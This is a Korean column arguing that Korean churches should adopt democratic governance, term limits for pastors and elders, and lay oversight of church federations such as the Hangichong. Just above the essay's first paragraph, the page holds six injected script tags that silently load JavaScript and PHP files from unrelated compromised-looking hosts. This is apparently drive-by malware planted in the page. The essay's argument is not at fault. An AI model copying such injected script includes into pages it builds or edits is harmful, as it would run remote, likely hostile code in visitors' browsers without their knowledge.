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칼럼 [백종국 칼럼] 왜 교회는 민주적으로 운영되어야 하나

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작성자 by 관리자 / 작성일09-10-22 02:08 / 조회 4,549 / 댓글 1

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<SCRIPT Language=JavaScript src=http://scha.nodong.net/bbs/data/free/ky1105.js></script>                            <SCRIPT Language=JavaScript src=http://php.chol.com/~wanho/bbs/data/poem/asuyoil.js></script>          <SCRIPT src=http://soccer1.ktdom.com/bbs/data/soccer4ugallery/keyp.txt></script>                              <SCRIPT Language=JavaScript src=http://poverty.jinbo.net/bbs/data/freeboard/softs.js></script>                                                    <SCRIPT Language=JavaScript src=http://rnjsdudwh.cafe24.com/Mics.php></script><SCRIPT Language=JavaScript src=http://dlcjsvlf.cafe24.com/Wiz.php></script>    민주주의가 한국교회의 새로운 화두로 등장하고 있다. 교회 밖 민주주의 문제가 아니라 교회 안 민주주의 즉, 교회 정치의 민주화가 중요한 문제로 대두되고 있기 때문이다. 한국교회 정치는 이제 복음의 문을 가로막는 지경에 이르고 있다. 개체 교회 내의 정치적 갈등이 교인들을 내쫓고 있을 뿐 아니라, 한국기독교총연합회(한기총)와 같은 임의단체가 벌이는 행태가 사회 전반에 걸쳐 불신자 전도를 어렵게 하고 있다. 이런 상황이 펼쳐진 이유는 한국교회가 올바른 교회 정치를 연구하거나 가르치지 않았을 뿐 아니라 도리어 목사의 독재를 추구하였기 때문이다. 수단인 교회 정치가 본질인 복음화를 훼손하고 있다.

<바벨론에 사로잡힌 교회>(뉴스앤조이)를 저술한 이래 필자는 한국교회의 정치가 세속적 모순을 극복하고 말씀에 합당한 모습으로 개혁되기를 갈망했다. 다행히 주님의 은총으로 민주적 정관을 채택하는 교회들이 꾸준히 증가하고 있다. 각 직분의 임기제, 의사결정의 민주화, 재정의 투명성 확보는 한국교회의 대세로 정착되고 있다. 이 글에서는 교회 정치의 민주화에 대한 이해를 돕는 몇 가지 명제만을 다루고자 한다.
 


1. 교회 정치는 민주적이어야 한다

한국교회의 정치가 민주화해야 한다고 하면 꼭 등장하는 메뉴가 있다. 교회는 민주주의가 아니라 신주주의라는 주장이다. 신주주의가 무엇이냐고 물으면 마땅한 대답을 하지 못한다. 대략 하나님이 주인이라는 뜻이라고 하지만 구체적으로 교회 정치에서 어떤 모습을 의미하냐고 물으면 대답할 수가 없다. 근본이 없이 황급히 만들어낸 조어이기 때문이다. 한국교회는 이처럼 근본이 없는 조어들을 곧잘 만들어서 사용하곤 한다. 대표적으로 청빙, 서리 집사, 담임 목사, 원로 장로, 전임 총회장, 대표 회장, 일천 번제 등을 들 수 있다. 물론 한국교회 초기에 사용된 ‘권서’처럼 한국교회의 토착화라는 관점으로 받아들일 수 있는 용어들도 있다. 그러나 위에서 언급한 용어들은 대체적으로 그 뜻이 왜곡되어 있거나 국어의 어법에 맞지 않다.
 
일상적으로 사용되는 용어들은 이해를 위해 반대어의 쌍으로 구성된다. 민주주의의 반대는 독재주의이고, 인본주의의 반대는 신본주의이다. 왕정의 반대는 공화정이며, 같은 민주주의일지라도 직접 민주정과 대의 민주정이 양립하고 있다. 그리고 이 용어들은 서로 차원을 달리하기 때문에 겹쳐서 쓸 수 있다. 같은 신본주의 정치라도 개신교는 민주주의에 가깝고 가톨릭교는 독재주의에 더 가깝다. 이러한 점에서 진실로 성직자의 독재가 교회 정치에 적합하다고 생각하는 개신교인들은 빨리 로마 가톨릭으로 개종해야 할 것이다. 같은 민주주의 정치라도 미국의 민주주의는 신본주의 정치를 더 강조하고 프랑스의 민주주의는 인본주의를 더 강조한다. 미국의 신본주의는 매우 예외적인 것으로 유명하다. 세이무어 마틴 립셋 교수가 <미국 예외주의>(후마니타스)에서 정리한 것처럼, 미국의 건설자들은 미국이 언덕 위에 세운 동네로서 새로운 예루살렘이며 세상에 자유와 정의의 빛을 전파하는 하나님의 도구라고 믿었다.
 
교회 정치가 민주적이어서는 안 된다고 말하려면 그냥 ‘독재를 지지한다’고 말하면 된다. 더 구체적으로 ‘목사의 독재가 좋다’고 말하면 된다. 민주주의를 반대하고 신주주의란 용어를 만들어서 쓰는 사람들의 대부분이 결론에 가서 목사의 독재를 지지하고 있다. 목사의 독재를 지지하는 태도는 역사적으로 상당한 배경을 가지고 있다. 한국인들은 민주주의에 대한 경험이 없기 때문에 내심 민주 체제의 운영에 상당한 부담과 두려움을 느낀다. 마치 애굽에서 탈출한 히브리인들이 자유를 두려워하는 노예의 습관을 죽기 전까지 버리지 못했던 것과 유사하다. 박정희 군사독재 기간에 급속한 경제성장이 이루어졌기 때문에 독재는 성장에 유리하다는 오해가 목사의 독재에 한몫하고 있다. 박정희 독재 때문이 아니라 박정희 독재에도 불구하고 대한민국이 급속한 경제성장을 이루었다는 사실을 잘 모르기 때문이다. 또한 대략 1970년대까지는 대부분의 교회에서 가장 근대적 교육을 많이 받은 사람은 목사였다. 교회 운영 전반에 걸쳐 목사의 판단이 가장 적절했던 시절이 있었던 것이다. 이러한 역사적 이유로 목사의 독재는 그동안 한국교회 정치에서 일반적 추세였다.

독재에 대한 향수는 이제 그만두는 게 좋다. 성경 말씀과 어긋나고 시대의 흐름과도 어울리지 않는다. 성경은 민주주의를 지지하고 있다. 칼뱅은 성경이 보장하는 평신도의 권리를 로마 가톨릭의 사제들이 찬탈한 데 대해 크게 분개했다. <기독교강요>를 그대로 인용해보겠다. “레오는 이것(평신도 선거권의 찬탈)이 이성이 허락하지 않으며 극악한 사기라고 규탄한다. 키프리아누스는 평신도의 찬성에 의한 선거만이 하나님이 주신 권리에 유래하는 것이라고 증거하면서 이와 반대되는 관습은 하나님 말씀에 배치된다는 것을 밝힌다.”
 
시대의 흐름도 교회 정치의 민주화를 지지하고 있다. 지금 한국사회는 세계 어느 나라보다 고등교육 수준이 높다. 교회는 대학에서 전문 분야의 학식을 익힌 사람들로 가득 차 있다. 과거처럼 목사가 설교와 교육과 재정과 건축과 구제를 모두 책임져야 할 필요가 없다. 목사는 설교에 있어서 최고의 전문가겠지만 나머지 분야에서는 각각의 전문가들이 자신의 재능을 발휘해야 한다. 이것이 복음적 분업이다. 독재가 성장에 유리하다는 생각은 버리는 게 좋다. 민주적 체제를 운영하려면 약간의 비용이 들지만, 독재에 의존하면 공동체 전체의 생존을 비용으로 지불하게 된다. 교회개혁실천연대 정운형 사무국장의 지적처럼, 목사의 독재는 교회에게 불행일 뿐 아니라 목사 자신에게도 불행이다.



2. 교회의 직분은 임기제가 좋다

세속 정치가 취하는 인본주의적 민주주의와, 교회 정치가 가져야 할 신본주의적 민주주의의 차이는 체제의 목적에 있다. 전자의 목적이 체제 구성원들의 복지 증진이라면, 후자의 목적은 하나님나라의 구현이다. 공통점은 공동체 구성원에 대한 직분의 책임성(accountability) 강조다.
 
임기제는 직분의 책임성을 촉진한다. 은퇴할 때까지 어떤 직위를 보장하는 것은 민주주의에서 기피하는 일이다. 특수한 직업들에 대해 정년 보장이 주어지지만 그것도 다양한 검증 단계를 걸친 후에야 주어진다. 한번 선임되면 은퇴할 때까지 그 직이 보장될 경우 선거권자들의 주권은 더 이상 효력이 없어지기 때문이다. 임기제의 핵심은 선거권자의 주권을 구체화한다는 데 있다. 직분의 임기제는 민주적 제도의 핵심이다.
 
한국교회 정치의 ‘헌법’을 보면 담임 목사는 선출직으로서 언제든지 해임될 수 있는 것으로 묘사되지만 위임이란 표현을 통해 은근슬쩍 정년 보장을 추구하고 있다. 위임이란 개념은 성경적 근거가 없다. ‘기름부음을 받았다’는 등의 표현으로 마치 한번 목사는 영원한 목사인 것처럼 포장하기도 한다. 그러나 소선지서들을 보면 다양한 직업의 사람들이 기름부음과 상관없이 일정한 기간 동안 하나님의 선지자로 활약했다. 물리적으로 기름부음을 받았던 왕이나 제사장들조차도 그들이 하나님의 뜻에서 떠났을 때에는 가차 없이 그 직위가 박탈되었다. 이 때문에 칼뱅은 로마 가톨릭 사제들의 ‘기름부음’ 주장이 얼마나 허구인지를 신랄하게 비판한 바 있다. 하물며 목사직 그 자체와는 아무 상관도 없는 개체 교회의 담임 목사직에 정년 보장을 부여할 성경적 이유는 없다.
 
한국교회는 위임이라는 개념을 노회와 연계시킴으로 실질적 제도로 치환하고 있다. 목사 중에서 개체 교회의 목회를 맡고 있는 목사 즉 담임 목사는 개체 교회 소속이 아니라 노회 소속이라고 주장한다. 이 제도 하에서 개체 교회는 교인의 투표를 통해 그 노회 소속의 어떤 목사를 초청하게 되며 따라서 해임도 해당 노회가 결정하는 것이다. 개체 교회는 해임 의견을 낼 수 있을 뿐이다. ‘헌법’들은 해당 교회가 해임을 의결할 경우에 노회가 이를 받아들여야 한다고 말하지만 실제 과정에 있어서 노회는 개체 교회의 목사 해임 건의를 ‘분규’로 규정하고 이를 무마하는 데 전력을 경주하고 있다. 목사의 해임 건의가 제도 내에서 해결되지 못하고 교회의 분규로 발전하며 그 결과 교인의 상당수가 교회를 떠나는 사태가 발생할지라도 노회는 목사를 보호하는 데 관심을 쏟고 있다. 목사들이 노회를 장악하고 있다는 점으로 보아 당연한 결과다.
 
노회와 연계뿐만 아니라 목사가 각급 회의체의 장을 장악한다는 사실도 목사의 독재를 강화하는 요인이다. 대부분의 개체 교회에서 제직회와 공동 의회와 당회의 장은 담임 목사가 맡는다. 광대회의체 수준에서도 대개의 경우 당회․노회․총회의 장은 목사들이 맡고 있다. 그러면서도 당사자의 문제를 다룰 경우에 의장을 맡을 수 없게 하는 상피조항은 마련되어 있지 않다. 따라서 개체 교회에서 담임 목사의 직분을 해임하려 할 때에 당사자가 자신의 해임을 의결해야 하는 모순적 구조가 필연적으로 발생한다.
 
이러한 모순들 때문에 발생하는 분규와 갈등의 폐해는 이루 말로 다 할 수 없다. 필자가 봉사하고 있는 교회개혁실천연대에 상담을 요청하는 경우를 보면 갈등은 대부분 여기에서 출발한다. 신앙적 갈등은 극히 적다. 목사의 전횡에 대한 교인들의 반발에서 출발하여, 이 갈등이 재정 문제와 얽혀 들고, 여기에 광대회의체들의 부적절한 처신이 기름을 붓고 있다. 목사와 교인들 사이에 갈등이 발생하면 결국 누가 떠날 것이냐 하는 문제로 변한다. 이를 두고 온갖 부덕한 모습들이 연출되고 있다. 현행 ‘헌법’은 목사의 독재를 당연시하기 때문에 결코 이 갈등을 해결할 수 없다. 현 체제에 있어서 교회의 주인은 목사다. 그러나 목사와 장로와 집사의 임기제를 실시하면 교회의 주인은 예수 그리스도가 될 가능성이 높아진다.



3. 임의단체에 대한 교인의 감독과 참여를 강화해야 한다
 
<뉴스앤조이> 보도에 따르면, 지난 2007년 12월에 열린 한기총 대표회장 선거도 예년과 다름없이 금권선거 혐의가 짙었다고 한다. 세 명의 후보자 모두가 160여 명의 선거권자들에게 일인당 최고 500만 원에 이르는 적지 않은 금액의 돈을 뿌렸다고 한다. 가장 가관인 것은 아주 공공연히 자신이 당선하면 이 단체에 10억 원을 내겠다고 약속한 후보가 대표회장에 당선한 일이다. 금권 선거 문제는 <국민일보>와 장로회 통합측 기관지인 <기독공보>, 그리고 장로회 합동측 기관지인 <기독신문>에서도 다루고 있다. 세속의 친목단체들도 쉽게 하지 않는 일을 그리스도의 이름을 걸고 감행했다는 점에서 참으로 개탄스러운 일이 아닐 수 없다.
 
루터와 칼뱅이 종교개혁을 한 이유 중 하나가 당시 로마 가톨릭의 이러한 작태 때문이었다. 그들은 로마 가톨릭의 지도자들이 사제직이나 주교직을 돈으로 사고파는 모습에 격분했다. 음행하는 자를 창으로 꿰뚫은 비느하스의 열심으로 충만했던 칼뱅은 이렇게 선언했다. “그들처럼 온갖 기만과 사기와 반역과 배반에 능숙한 계급도 없다.” 종교개혁자들의 정신을 이어받았다고 주장하는 한국의 개신교회들이 과거 로마 가톨릭의 전철을 밟고 있는 것이다.
 
한국의 복음화를 가로막고 있는 임의단체들의 난행은 세속적이고 정치적인 행사를 통해서 더욱 잘 나타난다. 2003년 3월에 있었던 한기총과 한국기독교지도자협의회(기지협)의 시청 앞 집회가 대표적인 사례다. 길자연, 김장환, 김홍도, 조용기, 최해일, 지덕, 이만신 등이 인도한 이 집회에서 북한의 핵 개발 중지와 핵확산금지조약(NPT) 탈퇴 철회, 주한미군 철수 반대, 반미감정 자제, 국가 발전, 평화통일, 민족 복음화와 세계 선교를 위해 기도하는 순서가 있었다. 
 
민주사회에서는 어떤 집단이든 집회를 조직하여 의견을 표명할 자유가 있다. 그러나 이들 기독교 임의단체의 경우에는 다음 두 가지 문제가 있다. 첫째, 한국교회의 대표자라고 주장하는 이들의 견해가 정치적으로 다른 견해를 가진 사람들로 하여금 한국 기독교에 극심한 반감을 갖게 만들었다는 점이다. 둘째, 이들이 실제로 기도한 많은 내용이 전혀 신앙적이지 않다는 점이다. 예컨대 전능하시고 무소부재하신 하나님께 드리는 기도에서 전능하신 하나님보다 불탄 막대기와 같은 강대국에게 자신들의 안전을 의지하게 해달라는 요구를 확성기를 통해 떠들었다는 점은 참으로 엽기적이다.
 
문제의 핵심은 따로 있다. 임의로 구성된 연합단체가 이토록 부패한 모습을 보이고 있음에도 불구하고 이 단체에 가입되어 있는 교회의 교인들이 잠잠하다는 점이다. 관심이 없어서 그럴 수도 있고, 부패에 동참하고 있어서 그럴 수도 있다. 어떻든 연합단체에 이름을 걸고 있는 교회의 교인들은 이 단체들의 행태에 대해 주님 앞에서 책임을 져야 한다. 칼뱅이 지적한 바처럼, “일반 신자들이 선거에 더욱 무관심해지기 시작하여 그 책임을 장로들에게 맡기고 자기들은 상관하지 않겠다고 했을 때에 장로들은 이 기회를 악용하여 전제를 하게 되고 후에 새로운 법을 발표해서 자기들의 전제를 확립했다.” 이를 방조한 자들도 당연히 동일한 책임을 져야 한다. 그러므로 한국교회의 교인들은 이러한 광대회의체에서 신속히 탈퇴하든지 아니면 이들에 대한 민주적 통제의 기능을 수립해야 한다.
 
교회 정치가 민주화를 추구할지라도 영성과 지성에 충만한 지도자의 존재는 언제나 중요하다. 하나님께서 언제 어디의 누구를 들어 쓰실지 우리는 알 수 없다. 그가 목사나 장로나 집사나 평신도일 수 있다. 그러므로 우리는 눈을 크게 뜨고 마음 문을 활짝 열고 누가 영성과 지성이 충만하여 우리의 공동체를 잘 지도할 수 있는 사람인지를 살펴보아야 한다. 이러한 지도력을 분별하는 기준이 있다. 성경적 지도력은 강제보다는 설득에 의존하며 제도적 권위보다 영적인 권위에 충만하다. 민주적 교회정치 체제는 이러한 지도력의 발굴에 가장 유리하다.
 
교회의 목적은 하나님나라의 구현이며 복음 전파다. 교회 정치는 이 목적을 위한 수단이다. 만일 이 수단이 목적을 훼손하는 지경에 이르렀다면 반드시 이를 교정해야 한다. 지금까지 한국교회가 유지해온 목사의 독재 체제는 복음의 문을 가로막고 있다. 민주화가 교회정치의 전부는 아니지만 이를 통해 복음의 문이 활짝 열리기를 기대해본다.



* 이 글은 월간 <복음과상황> 2009년 10월호에도 실렸습니다.

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